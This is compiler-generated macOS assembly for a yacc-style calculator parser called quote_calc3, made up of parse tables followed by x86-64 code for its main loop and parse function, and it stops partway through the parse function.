0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 13 ; 0xd .short 65535 ; 0xffff .short 65535 ; 0xffff .short 16 ; 0x10 .short 17 ; 0x11 .short 18 ; 0x12 .short 19 ; 0x13 .short 20 ; 0x14 .short 21 ; 0x15 .short 22 ; 0x16 .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 124 ; 0x7c .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 124 ; 0x7c .short 124 ; 0x7c .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 124 ; 0x7c .short 124 ; 0x7c .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 257 ; 0x101 .short 65535 ; 0xffff .short 259 ; 0x103 .short 65535 ; 0xffff .short 261 ; 0x105 .short 65535 ; 0xffff .short 263 ; 0x107 .short 65535 ; 0xffff .short 265 ; 0x109 .short 65535 ; 0xffff .short 267 ; 0x10b .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 256 ; 0x100 .short 65535 ; 0xffff .short 65535 ; 0xffff .short 259 ; 0x103 .short 65535 ; 0xffff .short 259 ; 0x103 .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 65535 ; 0xffff .short 269 ; 0x10d .short 270 ; 0x10e .short 269 ; 0x10d .short 270 ; 0x10e .short 257 ; 0x101 .short 65535 ; 0xffff .short 259 ; 0x103 .short 65535 ; 0xffff .short 261 ; 0x105 .short 65535 ; 0xffff .short 263 ; 0x107 .short 65535 ; 0xffff .short 265 ; 0x109 .short 65535 ; 0xffff .short 267 ; 0x10b .short 65535 ; 0xffff .short 257 ; 0x101 .short 257 ; 0x101 .short 259 ; 0x103 .short 259 ; 0x103 .short 261 ; 0x105 .short 261 ; 0x105 .short 263 ; 0x107 .short 263 ; 0x107 .short 265 ; 0x109 .short 265 ; 0x109 .short 267 ; 0x10b .short 267 ; 0x10b .p2align 1 ; @quote_calc3_table _quote_calc3_table: .short 16 ; 0x10 .short 15 ; 0xf .short 6 ; 0x6 .short 22 ; 0x16 .short 6 ; 0x6 .short 14 ; 0xe .short 13 ; 0xd .short 7 ; 0x7 .short 8 ; 0x8 .short 9 ; 0x9 .short 13 ; 0xd .short 10 ; 0xa .short 11 ; 0xb .short 12 ; 0xc .short 16 ; 0x10 .short 10 ; 0xa .short 17 ; 0x11 .short 15 ; 0xf .short 18 ; 0x12 .short 25 ; 0x19 .short 19 ; 0x13 .short 23 ; 0x17 .short 20 ; 0x14 .short 4 ; 0x4 .short 21 ; 0x15 .short 5 ; 0x5 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 16 ; 0x10 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 14 ; 0xe .short 13 ; 0xd .short 7 ; 0x7 .short 8 ; 0x8 .short 9 ; 0x9 .short 0 ; 0x0 .short 10 ; 0xa .short 11 ; 0xb .short 12 ; 0xc .short 12 ; 0xc .short 0 ; 0x0 .short 0 ; 0x0 .short 14 ; 0xe .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 24 ; 0x18 .short 0 ; 0x0 .short 0 ; 0x0 .short 26 ; 0x1a .short 27 ; 0x1b .short 28 ; 0x1c .short 29 ; 0x1d .short 30 ; 0x1e .short 31 ; 0x1f .short 32 ; 0x20 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 22 ; 0x16 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 16 ; 0x10 .short 15 ; 0xf .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 14 ; 0xe .short 13 ; 0xd .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 16 ; 0x10 .short 0 ; 0x0 .short 17 ; 0x11 .short 0 ; 0x0 .short 18 ; 0x12 .short 0 ; 0x0 .short 19 ; 0x13 .short 0 ; 0x0 .short 20 ; 0x14 .short 0 ; 0x0 .short 21 ; 0x15 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 2 ; 0x2 .short 0 ; 0x0 .short 0 ; 0x0 .short 3 ; 0x3 .short 0 ; 0x0 .short 3 ; 0x3 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 4 ; 0x4 .short 5 ; 0x5 .short 4 ; 0x4 .short 11 ; 0xb .short 16 ; 0x10 .short 0 ; 0x0 .short 17 ; 0x11 .short 0 ; 0x0 .short 18 ; 0x12 .short 0 ; 0x0 .short 19 ; 0x13 .short 0 ; 0x0 .short 20 ; 0x14 .short 0 ; 0x0 .short 21 ; 0x15 .short 0 ; 0x0 .short 16 ; 0x10 .short 15 ; 0xf .short 16 ; 0x10 .short 15 ; 0xf .short 16 ; 0x10 .short 15 ; 0xf .short 16 ; 0x10 .short 15 ; 0xf .short 16 ; 0x10 .short 15 ; 0xf .short 16 ; 0x10 .short 15 ; 0xf .p2align 1 ; @quote_calc3_rindex _quote_calc3_rindex: .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 65527 ; 0xfff7 .short 0 ; 0x0 .short 0 ; 0x0 .short 13 ; 0xd .short 65526 ; 0xfff6 .short 0 ; 0x0 .short 0 ; 0x0 .short 65531 ; 0xfffb .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 15 ; 0xf .short 0 ; 0x0 .short 65533 ; 0xfffd .short 65534 ; 0xfffe .short 65535 ; 0xffff .short 1 ; 0x1 .short 2 ; 0x2 .short 3 ; 0x3 .short 65532 ; 0xfffc .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "syntax error" .section __TEXT,__const .p2align 1 ; @quote_calc3_len _quote_calc3_len: .short 2 ; 0x2 .short 0 ; 0x0 .short 3 ; 0x3 .short 3 ; 0x3 .short 1 ; 0x1 .short 3 ; 0x3 .short 3 ; 0x3 .short 3 ; 0x3 .short 3 ; 0x3 .short 3 ; 0x3 .short 3 ; 0x3 .short 3 ; 0x3 .short 3 ; 0x3 .short 3 ; 0x3 .short 2 ; 0x2 .short 1 ; 0x1 .short 1 ; 0x1 .short 1 ; 0x1 .short 2 ; 0x2 .comm _quote_calc3_val,4,2 ; @quote_calc3_val .section __TEXT,__cstring,cstring_literals l_.str.1: ; @.str.1 .asciz "%d\n" .comm _regs,104,2 ; @regs .comm _base,4,2 ; @base .section __TEXT,__const .p2align 1 ; @quote_calc3_lhs _quote_calc3_lhs: .short 65535 ; 0xffff .short 0 ; 0x0 .short 0 ; 0x0 .short 0 ; 0x0 .short 1 ; 0x1 .short 1 ; 0x1 .short 2 ; 0x2 .short 2 ; 0x2 .short 2 ; 0x2 .short 2 ; 0x2 .short 2 ; 0x2 .short 2 ; 0x2 .short 2 ; 0x2 .short 2 ; 0x2 .short 2 ; 0x2 .short 2 ; 0x2 .short 2 ; 0x2 .short 3 ; 0x3 .short 3 ; 0x3 .p2align 1 ; @quote_calc3_gindex _quote_calc3_gindex: .short 0 ; 0x0 .short 0 ; 0x0 .short 42 ; 0x2a .short 0 ; 0x0 .p2align 1 ; @quote_calc3_dgoto _quote_calc3_dgoto: .short 1 ; 0x1 .short 7 ; 0x7 .short 8 ; 0x8 .short 9 ; 0x9 .section __TEXT,__cstring,cstring_literals l_.str.2: ; @.str.2 .asciz "yacc stack overflow" .comm _quote_calc3_debug,4,2 ; @quote_calc3_debug l_.str.3: ; @.str.3 .asciz "%s\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $0, -4(%rbp) LBB0_1: ## =>This Inner Loop Header: Depth=1 movq ___stdinp@GOTPCREL(%rip), %rax movq (%rax), %rdi callq _feof cmpl $0, %eax setne %al xorb $-1, %al testb $1, %al jne LBB0_2 jmp LBB0_3 LBB0_2: ## in Loop: Header=BB0_1 Depth=1 callq _quote_calc3_parse jmp LBB0_1 LBB0_3: xorl %eax, %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _quote_calc3_parse ## -- Begin function quote_calc3_parse .p2align 4, 0x90 _quote_calc3_parse: ## @quote_calc3_parse .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq _quote_calc3_nerrs@GOTPCREL(%rip), %rax movl $0, (%rax) movq _quote_calc3_errflag@GOTPCREL(%rip), %rax movl $0, (%rax) movq _quote_calc3_char@GOTPCREL(%rip), %rax movl $-1, (%rax) movl $0, -16(%rbp) cmpq $0, _yystack+8(%rip) jne LBB1_3 ## %bb.1: leaq _yystack(%rip), %rdi callq _yygrowstack cmpl $0, %eax je LBB1_3 ## %bb.2: jmp LBB1_84 LBB1_3: movq _yystack+8(%rip), %rax movq %rax, _yystack+16(%rip) movq _yystack+32(%rip), %rax movq %rax, _yystack+40(%rip) movl $0, -16(%rbp) movq _yystack+16(%rip), %rax movw $0, (%rax) LBB1_4: ## =>This Loop Header: Depth=1 ## Child Loop BB1_31 Depth 2 movslq -16(%rbp), %rcx leaq _quote_calc3_defred(%rip), %rax movswl (%rax,%rcx,2), %eax movl %eax, -12(%rbp) cmpl $0, %eax je LBB1_6 ## %bb.5: ## in Loop: Header=BB1_4 Depth=1 jmp LBB1_46 LBB1_6: ## in Loop: Header=BB1_4 Depth=1 movq _quote_calc3_char@GOTPCREL(%rip), %rax cmpl $0, (%rax) jge LBB1_10 ## %bb.7: ## in Loop: Header=BB1_4 Depth=1 callq _quote_calc3_lex movq _quote_calc3_char@GOTPCREL(%rip), %rcx movl %eax, (%rcx) cmpl $0, %eax jge LBB1_9 ## %bb.8: ## in Loop: Header=BB1_4 Depth=1 movq _quote_calc3_char@GOTPCREL(%rip), %rax movl $0, (%rax) LBB1_9: ## in Loop: Header=BB1_4 Depth=1 jmp LBB1_10 LBB1_10: ## in Loop: Header=BB1_4 Depth=1 movslq -16(%rbp), %rcx leaq _quote_calc3_sindex(%rip), %rax movswl (%rax,%rcx,2), %eax movl %eax, -12(%rbp) cmpl $0, %eax je LBB1_20 ## %bb.11: ## in Loop: Header=BB1_4 Depth=1 movq _quote_calc3_char@GOTPCREL(%rip), %rax movl (%rax), %eax addl -12(%rbp), %eax movl %eax, -12(%rbp) cmpl $0, %eax jl LBB1_20 ## %bb.12: ## in Loop: Header=BB1_4 Depth=1 cmpl $258, -12(%rbp) ## imm = 0x102 jg LBB1_20 ## %bb.13: ## in Loop: Header=BB1_4 Depth=1 movslq -12(%rbp), %rcx leaq _quote_calc3_check(%rip), %rax movswl (%rax,%rcx,2), %eax movq _quote_calc3_char@GOTPCREL(%rip), %rcx cmpl (%rcx), %eax jne LBB1_20 ## %bb.14: ## in Loop: Header=BB1_4 Depth=1 movq _yystack+16(%rip), %rax cmpq _yystack+24(%rip), %rax jb LBB1_17 ## %bb.15: ## in Loop: Header=BB1_4 Depth=1 leaq _yystack(%rip), %rdi callq _yygrowstack cmpl $0, %eax je LBB1_17 ## %bb.16: jmp LBB1_84 LBB1_17: ## in Loop: Header=BB1_4 Depth=1 movslq -12(%rbp), %rcx leaq _quote_calc3_table(%rip), %rax movswl (%rax,%rcx,2), %eax movl %eax, -16(%rbp) movslq -12(%rbp), %rcx leaq _quote_calc3_table(%rip), %rax movw (%rax,%rcx,2), %cx movq _yystack+16(%rip), %rax movq %rax, %rdx addq $2, %rdx movq %rdx, _yystack+16(%rip) movw %cx, 2(%rax) movq _quote_calc3_lval@GOTPCREL(%rip), %rax movl (%rax), %ecx movq _yystack+40(%rip), %rax movq %rax, %rdx addq $4, %rdx movq %rdx, _yystack+40(%rip) movl %ecx, 4(%rax) movq _quote_calc3_char@GOTPCREL(%rip), %rax movl $-1, (%rax) movq _quote_calc3_errflag@GOTPCREL(%rip), %rax cmpl $0, (%rax) jle LBB1_19 ## %bb.18: ## in Loop: Header=BB1_4 Depth=1 movq _quote_calc3_errflag@GOTPCREL(%rip), %rax movl (%rax), %ecx addl $-1, %ecx movq _quote_calc3_errflag@GOTPCREL(%rip), %rax movl %ecx, (%rax) LBB1_19: ## in Loop: Header=BB1_4 Depth=1 jmp LBB1_4 LBB1_20: ## in Loop: Header=BB1_4 Depth=1 movslq -16(%rbp), %rcx leaq _quote_calc3_rindex(%rip), %rax movswl (%rax,%rcx,2), %eax movl %eax, -12(%rbp) cmpl $0, %eax je LBB1_25 ## %bb.21: ## in Loop: Header=BB1_4 Depth=1 movq _quote_calc3_char@GOTPCREL(%rip), %rax movl (%rax), %eax addl -12(%rbp), %eax movl %eax, -12(%rbp) cmpl $0, %eax jl LBB1_25 ## %bb.22: ## in Loop: Header=BB1_4 Depth=1 cmpl $258, -12(%rbp) ## imm = 0x102 jg LBB1_25 ## %bb.23: ## in Loop: Header=BB1_4 Depth=1 movslq -12(%rbp), %rcx leaq _quote_calc3_check(%rip), %rax movswl (%rax,%rcx,2), %eax movq _quote_calc3_char@GOTPCREL(%rip), %rcx cmpl (%rcx), %eax jne LBB1_25 ## %bb.24: ## in Loop: Header=BB1_4 Depth=1 movslq -12(%rbp), %rcx leaq _quote_calc3_table(%rip), %rax movswl (%rax,%rcx,2), %eax movl %eax, -12(%rbp) jmp LBB1_46 LBB1_25: ## in Loop: Header=BB1_4 Depth=1 movq _quote_calc3_errflag@GOTPCREL(%rip), %rax cmpl $0, (%rax) je LBB1_27 ## %bb.26: ## in Loop: Header=BB1_4 Depth=1 jmp LBB1_29 LBB1_27: ## in Loop: Header=BB1_4 Depth=1 leaq L_.str(%rip), %rdi callq _quote_calc3_error ## %bb.28: ## in Loop: Header=BB1_4 Depth=1 movq _quote_calc3_nerrs@GOTPCREL(%rip), %rax movl (%rax), %ecx addl $1, %ecx movq _quote_calc3_nerrs@GOTPCREL(%rip), %rax movl %ecx, (%rax) LBB1_29: ## in Loop: Header=BB1_4 Depth=1 movq _quote_calc3_errflag@GOTPCREL(%rip), %rax cmpl $3, (%rax) jge LBB1_43 ## %bb.30: ## in Loop: Header=BB1_4 Depth=1 movq _quote_calc3_errflag@GOTPCREL(%rip), %rax movl $3, (%rax) LBB1_31: ## Parent Loop BB1_4 Depth=1 ## => This Inner Loop Header: Depth=2 movq _yystack+16(%rip), %rax movswq (%rax), %rcx leaq _quote_calc3_sindex(%rip), %rax movswl (%rax,%rcx,2), %eax movl %eax, -12(%rbp) cmpl $0, %eax je LBB1_39 ## %bb.32: ## in Loop: Header=BB1_31 Depth=2 movl -12(%rbp), %eax addl $256, %eax ## imm = 0x100 movl %eax, -12(%rbp) cmpl $0, %eax jl LBB1_39 ## %bb.33: ## in Loop: Header=BB1_31 Depth=2 cmpl $258, -12(%rbp) ## imm = 0x102 jg LBB1_39 ## %bb.34: ## in Loop: Header=BB1_31 Depth=2 movslq -12(%rbp), %rcx leaq _quote_calc3_check(%rip), %rax movswl (%rax,%rcx,2), %eax cmpl $256, %eax ## imm = 0x100 jne LBB1_39 ## %bb.35: ## in Loop: Header=BB1_4 Depth=1 movq _yystack+16(%rip), %rax cmpq _yystack+24(%rip), %rax jb LBB1_38 ## %bb.36: ## in Loop: Header=BB1_4 Depth=1 leaq _yystack(%rip), %rdi callq _yygrowstack cmpl $0, %eax je LBB1_38 ## %bb.37: jmp LBB1_84 LBB1_38: ## in Loop: Header=BB1_4 Depth=1 movslq -12(%rbp), %rcx leaq _quote_calc3_table(%rip), %rax movswl (%rax,%rcx,2), %eax movl %eax, -16(%rbp) movslq -12(%rbp), %rcx leaq _quote_calc3_table(%rip), %rax movw (%rax,%rcx,2), %cx movq _yystack+16(%rip), %rax movq %rax, %rdx addq $2, %rdx movq %rdx, _yystack+16(%rip) movw %cx, 2(%rax) movq _quote_calc3_lval@GOTPCREL(%rip), %rax movl (%rax), %ecx movq _yystack+40(%rip), %rax movq %rax, %rdx addq $4, %rdx movq %rdx, _yystack+40(%rip) movl %ecx, 4(%rax) jmp LBB1_4 LBB1_39: ## in Loop: Header=BB1_31 Depth=2 movq _yystack+16(%rip), %rax cmpq _yystack+8(%rip), %rax ja LBB1_41 ## %bb.40: jmp LBB1_85 LBB1_41: ## in Loop: Header=BB1_31 Depth=2 movq _yystack+16(%rip), %rax addq $-2, %rax movq %rax, _yystack+16(%rip) movq _yystack+40(%rip), %rax addq $-4, %rax movq %rax, _yystack+40(%rip) ## %bb.42: ## in Loop: Header=BB1_31 Depth=2 jmp LBB1_31 LBB1_43: ## in Loop: Header=BB1_4 Depth=1 movq _quote_calc3_char@GOTPCREL(%rip), %rax cmpl $0, (%rax) jne LBB1_45 ## %bb.44: jmp LBB1_85 LBB1_45: ## in Loop: Header=BB1_4 Depth=1 movq _quote_calc3_char@GOTPCREL(%rip), %rax movl $-1, (%rax) jmp LBB1_4 LBB1_46: ## in Loop: Header=BB1_4 Depth=1 movslq -12(%rbp), %rcx leaq _quote_calc3_len(%rip), %rax movswl (%rax,%rcx,2), %eax movl %eax, -8(%rbp) cmpl $0, -8(%rbp) je LBB1_48 ## %bb.47: ## in Loop: Header=BB1_4 Depth=1 movq _yystack+40(%rip), %rax movl $1, %ecx subl -8(%rbp), %ecx movslq %ecx, %rcx movl (%rax,%rcx,4), %ecx movq _quote_calc3_val@GOTPCREL(%rip), %rax movl %ecx, (%rax) jmp LBB1_49 LBB1_48: ## in Loop: Header=BB1_4 Depth=1 movq _quote_calc3_val@GOTPCREL(%rip), %rdi xorl %esi, %esi movl $4, %edx callq _memset LBB1_49: ## in Loop: Header=BB1_4 Depth=1 movl -12(%rbp), %eax addl $-3, %eax movl %eax, %ecx movq %rcx, -24(%rbp) ## 8-byte Spill subl $15, %eax ja LBB1_65 ## %bb.88: ## in Loop: Header=BB1_4 Depth=1 movq -24(%rbp), %rax ## 8-byte Reload leaq LJTI1_0(%rip), %rcx movslq (%rcx,%rax,4), %rax addq %rcx, %rax jmpq *%rax LBB1_50: ## in Loop: Header=BB1_4 Depth=1 movq _quote_calc3_errflag@GOTPCREL(%rip), %rax movl $0, (%rax) jmp LBB1_65 LBB1_51: ## in Loop: Header=BB1_4 Depth=1 movq _yystack+40(%rip), %rax movl (%rax), %esi leaq L_.str.1(%rip), %rdi movb $0, %al callq _printf jmp LBB1_65 LBB1_52: ## in Loop: Header=BB1_4 Depth=1 movq _yystack+40(%rip), %rax movl (%rax), %edx movq _yystack+40(%rip), %rax movslq -8(%rax), %rcx movq _regs@GOTPCREL(%rip), %rax movl %edx, (%rax,%rcx,4) jmp LBB1_65 LBB1_53: ## in Loop: Header=BB1_4 Depth=1 movq _yystack+40(%rip), %rax movl -4(%rax), %ecx movq _quote_calc3_val@GOTPCREL(%rip), %rax movl %ecx, (%rax) jmp LBB1_65 LBB1_54: ## in Loop: Header=BB1_4 Depth=1 movq _yystack+40(%rip), %rax movl -8(%rax), %ecx movq _yystack+40(%rip), %rax addl (%rax), %ecx movq _quote_calc3_val@GOTPCREL(%rip), %rax movl %ecx, (%rax) jmp LBB1_65 LBB1_55: ## in Loop: Header=BB1_4 Depth=1 movq _yystack+40(%rip), %rax movl -8(%rax), %ecx movq _yystack+40(%rip), %rax subl (%rax), %ecx movq _quote_calc3_val@GOTPCREL(%rip), %rax movl %ecx, (%rax) jmp LBB1_65 LBB1_56: ## in Loop: Header=BB1_4 Depth=1 movq _yystack+40(%rip), %rax movl -8(%rax), %ecx movq _yystack+40(%rip), %rax imull (%rax), %ecx movq _quote_calc3_val@GOTPCREL(%rip), %rax movl %ecx, (%rax) jmp LBB1_65 LBB1_57: ## in Loop: Header=BB1_4 Depth=1 movq _yystack+40(%rip), %rax movl -8(%rax), %eax movq _yystack+40(%rip), %rcx cltd idivl (%rcx) movl %eax, %ecx movq _quote_calc3_val@GOTPCREL(%rip), %rax movl %ecx, (%rax) jmp LBB1_65 LBB1_58: ## in Loop: Header=BB1_4 Depth=1 movq _yystack+40(%rip), %rax movl -8(%rax), %eax movq _yystack+40(%rip), %rcx cltd idivl (%rcx) movq _quote_calc3_val@GOTPCREL(%rip), %rax movl %edx, (%rax) jmp LBB1_65 LBB1_59: ## in Loop: Header=BB1_4 Depth=1 movq _yystack+40(%rip), %rax movl -8(%rax), %ecx movq _yystack+40(%rip), %rax andl (%rax), %ecx movq _quote_calc3_val@GOTPCREL(%rip), %rax movl %ecx, (%rax) jmp LBB1_65 LBB1_60: ## in Loop: Header=BB1_4 Depth=1 movq _yystack+40(%rip), %rax movl -8(%rax), %ecx movq _yystack+40(%rip), %rax orl (%rax), %ecx movq _quote_calc3_val@GOTPCREL(%rip), %rax movl %ecx, (%rax) jmp LBB1_65 LBB1_61: ## in Loop: Header=BB1_4 Depth=1 movq _yystack+40(%rip), %rax xorl %ecx, %ecx subl (%rax), %ecx movq _quote_calc3_val@GOTPCREL(%rip), %rax movl %ecx, (%rax) jmp LBB1_65 LBB1_62: ## in Loop: Header=BB1_4 Depth=1 movq _yystack+40(%rip), %rax movslq (%rax), %rcx movq _regs@GOTPCREL(%rip), %rax movl (%rax,%rcx,4), %ecx movq _quote_calc3_val@GOTPCREL(%rip), %rax movl %ecx, (%rax) jmp LBB1_65 LBB1_63: ## in Loop: Header=BB1_4 Depth=1 movq _yystack+40(%rip), %rax movl (%rax), %ecx movq _quote_calc3_val@GOTPCREL(%rip), %rax movl %ecx, (%rax) movq _yystack+40(%rip), %rax movl (%rax), %edx movl $10, %ecx movl $8, %eax cmpl $0, %edx cmovel %eax, %ecx movq _base@GOTPCREL(%rip), %rax movl %ecx, (%rax) jmp LBB1_65 LBB1_64: ## in Loop: Header=BB1_4 Depth=1 movq _base@GOTPCREL(%rip), %rax movl (%rax), %ecx movq _yystack+40(%rip), %rax imull -4(%rax), %ecx movq _yystack+40(%rip), %rax addl (%rax), %ecx movq _quote_calc3_val@GOTPCREL(%rip), %rax movl %ecx, (%rax) LBB1_65: ## in Loop: Header=BB1_4 Depth=1 movl -8(%rbp), %ecx movq _yystack+16(%rip), %rax movslq %ecx, %rdx xorl %ecx, %ecx ## kill: def $rcx killed $ecx subq %rdx, %rcx shlq $1, %rcx addq %rcx, %rax movq %rax, _yystack+16(%rip) movq _yystack+16(%rip), %rax movswl (%rax), %eax movl %eax, -16(%rbp) movl -8(%rbp), %ecx movq _yystack+40(%rip), %rax movslq %ecx, %rdx xorl %ecx, %ecx ## kill: def $rcx killed $ecx subq %rdx, %rcx shlq $2, %rcx addq %rcx, %rax movq %rax, _yystack+40(%rip) movslq -12(%rbp), %rcx leaq _quote_calc3_lhs(%rip), %rax movswl (%rax,%rcx,2), %eax movl %eax, -8(%rbp) cmpl $0, -16(%rbp) jne LBB1_74 ## %bb.66: ## in Loop: Header=BB1_4 Depth=1 cmpl $0, -8(%rbp) jne LBB1_74 ## %bb.67: ## in Loop: Header=BB1_4 